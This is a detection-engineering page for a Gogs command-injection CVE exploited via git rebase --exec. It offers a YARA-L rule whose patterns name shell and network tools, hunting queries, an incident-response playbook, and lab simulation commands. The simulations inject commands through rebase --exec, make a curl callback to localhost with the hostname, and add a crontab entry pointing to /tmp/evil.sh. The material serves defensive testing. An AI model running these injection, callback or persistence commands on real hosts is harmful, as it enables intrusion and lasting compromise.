Detect CVE-2026-52806: Gogs RCE via git rebase --exec Argument Injection in PR Merge in Google Chronicle
Detects exploitation of CVE-2026-52806, a critical command injection vulnerability (CWE-77) in Gogs versions prior to 0.14.3. An attacker can inject arbitrary shell commands via the git rebase --exec argument during pull request merge operations, leading to remote code execution on the Gogs server. A public PoC is available.
MITRE ATT&CK
- Tactic
- Execution Persistence Lateral Movement
YARA-L Detection Query
rule cve_2026_52806_gogs_rebase_exec_injection {
meta:
author = "df00tech Detection Platform"
description = "Detects CVE-2026-52806 git rebase --exec argument injection via Gogs pull request merge"
severity = "CRITICAL"
priority = "HIGH"
reference = "https://github.com/gogs/gogs/security/advisories/GHSA-qf6p-p7ww-cwr9"
events:
(
$e1.metadata.event_type = "PROCESS_LAUNCH"
and $e1.target.process.command_line = /git\s+rebase.*--exec/
)
or
(
$e1.metadata.event_type = "PROCESS_LAUNCH"
and $e1.principal.process.file.full_path = /gogs/
and (
$e1.target.process.file.full_path = /\/(bash|sh|curl|wget|nc|ncat|python[0-9.]*|perl)$/
or $e1.target.process.file.full_path = /\\(cmd\.exe|powershell\.exe)$/
)
)
condition:
$e1
} Chronicle YARA-L 2.0 rule detecting git rebase --exec argument injection and suspicious child processes spawned from Gogs, covering the CVE-2026-52806 RCE attack pattern.
Data Sources
Required Tables
False Positives & Tuning
- Legitimate git rebase --exec invocations by developers where Gogs is installed on the same endpoint
- Authorized scripts run under the Gogs process for repository maintenance or plugin operations
- CI runners sharing the Gogs host user context and invoking shell utilities as part of builds
Other platforms for CVE-2026-52806
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Simulate git rebase --exec argument injection via crafted PR branch name
Expected signal: Process creation event: git with args [rebase, --exec, id > /tmp/cve_rce_proof.txt, target]; child process creation: sh -c 'id > /tmp/cve_rce_proof.txt'; file creation event at /tmp/cve_rce_proof.txt
- Test 2Gogs suspicious child process simulation — reverse shell via curl
Expected signal: Process creation event showing bash or curl with parent process name 'gogs'; network connection attempt from gogs-named process to 127.0.0.1:9999
- Test 3Persistence via cron injection post-Gogs RCE simulation
Expected signal: Process creation: git rebase --exec with crontab modification command; crontab process invocation; file write to /tmp/cve_persist_marker.txt; audit log entry for crontab modification
Response Playbook
Triage
- Identify the Gogs server version immediately: check the Gogs admin panel at /admin or via `gogs --version` on the host. Confirm whether the instance is running < 0.14.3.
- Examine Gogs application logs (`gogs/log/gogs.log` or configured log path) for pull request merge activity immediately preceding any alert, focusing on PR IDs and contributor accounts.
- Review process trees on the Gogs host for any child processes of gogs/gogs.exe spawning shells, network utilities (curl, wget, nc), or interpreters (python, perl) within the alert window.
- Check network connections from the Gogs host for unexpected outbound connections (potential reverse shell callbacks) using `ss -tnp` or equivalent, especially to non-standard ports or external IPs.
Containment
- Immediately isolate the Gogs host from external network access if active RCE is confirmed or strongly suspected — block outbound internet access at the firewall/NSG while preserving internal network for investigation.
- Disable the Gogs service (`systemctl stop gogs` or equivalent) and revoke all active Gogs session tokens by invalidating the application secret. This terminates any attacker-established sessions.
- Force-rotate all Gogs user credentials and API tokens, prioritizing admin accounts. Audit for any newly created admin or service accounts post-exploitation.
Evidence Collection
- Capture a full memory dump of the Gogs process and any spawned child processes before shutting down the service, using tools such as `gcore`, `procdump`, or equivalent for forensic analysis.
- Archive Gogs application logs, git repository audit logs, OS auth logs (`/var/log/auth.log`, `/var/log/secure`, Windows Security Event Log), and EDR telemetry for the 48-hour window preceding the alert.
- Collect filesystem artifacts: recently modified files in the Gogs data directory, git repository working directories, and any web shells or new executables written during the exploitation window (`find / -newer /tmp/ref -type f 2>/dev/null`).
Escalation Criteria
- !Escalate to incident commander immediately if evidence of lateral movement from the Gogs host is found, including authentication attempts against internal services using credentials likely harvested from Gogs repositories or configs.
- !Escalate if any git repositories hosted on the compromised Gogs instance contain secrets (API keys, private keys, credentials) that may have been exfiltrated — treat all hosted repo contents as potentially compromised and notify stakeholders.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Gogs application log entries showing pull request merge events with unusual branch names or rebase arguments: `gogs/log/gogs.log` - >
OS process audit records (auditd, Sysmon Event ID 1) showing git process with `rebase --exec` arguments spawned under the Gogs service account UID - >
Network connection logs (netflow, NSG flow logs) showing unexpected outbound connections from the Gogs server IP to external hosts post-merge event - >
Git reflog entries in the target repository showing unusual rebase operations or refs created during the exploit window - >
Filesystem changes: new executables, cron entries, SSH authorized_keys modifications, or web shells written under paths writable by the Gogs service account
Tuning Guidance
Start by scoping detections to hosts where Gogs is deployed to reduce noise. Establish a baseline of legitimate git rebase --exec usage in your environment (common in CI workflows). Whitelist known CI service account usernames and controlled runner hostnames. For the child-process rules, build an allowlist of binaries legitimately spawned by the Gogs process (e.g., git, ssh) and alert only on deviations. Increase confidence thresholds in environments where Gogs is updated to >= 0.14.3 — detections remain valuable for unpatched instances and backdoor persistence post-exploitation.
Hunting Queries
Threat hunt for all git rebase invocations on Gogs hosts over the past 7 days to identify historic exploitation attempts or baseline unusual rebase usage patterns.
DeviceProcessEvents
| where TimeGenerated > ago(7d)
| where InitiatingProcessFileName has_any ("gogs", "git")
| where ProcessCommandLine has "rebase"
| summarize count(), make_set(ProcessCommandLine), make_set(DeviceName) by InitiatingProcessFileName, bin(TimeGenerated, 1h)
| where count_ > 0
| order by TimeGenerated desc index=endpoint sourcetype IN ("crowdstrike:events:sensor", "xmlwineventlog")
| eval cmd=coalesce(CommandLine, process)
| where match(lower(cmd), "rebase")
| stats count by host, cmd, _time
| sort -count Atomic Red Team Tests
Simulates the CVE-2026-52806 attack vector by invoking git rebase with an --exec flag containing a shell command injection payload, as would occur during a malicious Gogs PR merge. Run in an isolated lab environment only.
Command
mkdir -p /tmp/cve_2026_52806_test && cd /tmp/cve_2026_52806_test && git init && git commit --allow-empty -m 'base' && git checkout -b target && git commit --allow-empty -m 'target' && git checkout master 2>/dev/null || git checkout main && git rebase --exec 'id > /tmp/cve_rce_proof.txt' target Cleanup
rm -rf /tmp/cve_2026_52806_test /tmp/cve_rce_proof.txt Expected Telemetry
Process creation event: git with args [rebase, --exec, id > /tmp/cve_rce_proof.txt, target]; child process creation: sh -c 'id > /tmp/cve_rce_proof.txt'; file creation event at /tmp/cve_rce_proof.txt
Expected Detection
Alert on git rebase --exec invocation with shell metacharacters in exec argument; alert on sh child process spawned from git parent
Simulates post-exploitation behavior where an attacker's injected command spawns a network callback (simulated reverse shell initiation) from a process tree parented by a mock Gogs process. Tests child-process detection rules.
Command
cat > /tmp/fake_gogs.sh << 'EOF'
#!/bin/bash
exec -a gogs bash -c 'curl -s http://127.0.0.1:9999/callback?host=$(hostname) || true'
EOF
chmod +x /tmp/fake_gogs.sh && /tmp/fake_gogs.sh Cleanup
rm -f /tmp/fake_gogs.sh Expected Telemetry
Process creation event showing bash or curl with parent process name 'gogs'; network connection attempt from gogs-named process to 127.0.0.1:9999
Expected Detection
Alert on suspicious child process (curl/bash) spawned from parent named 'gogs'; potential alert on network connection from Gogs process to non-standard port
Simulates attacker establishing persistence after RCE by adding a crontab entry via injected git rebase --exec command, mimicking a common post-exploitation step following Gogs exploitation.
Command
git -C /tmp init /tmp/cve_persist_test 2>/dev/null; cd /tmp/cve_persist_test && git commit --allow-empty -m 'x' && git rebase --exec '(crontab -l 2>/dev/null; echo "* * * * * /tmp/evil.sh") | crontab - ; echo rce_persist_test > /tmp/cve_persist_marker.txt' HEAD~0 2>/dev/null || true Cleanup
crontab -l 2>/dev/null | grep -v '/tmp/evil.sh' | crontab - ; rm -f /tmp/cve_persist_marker.txt /tmp/evil.sh; rm -rf /tmp/cve_persist_test Expected Telemetry
Process creation: git rebase --exec with crontab modification command; crontab process invocation; file write to /tmp/cve_persist_marker.txt; audit log entry for crontab modification
Expected Detection
Alert on git rebase --exec with shell metacharacters; alert on crontab modification event following git process activity; file creation alert for marker file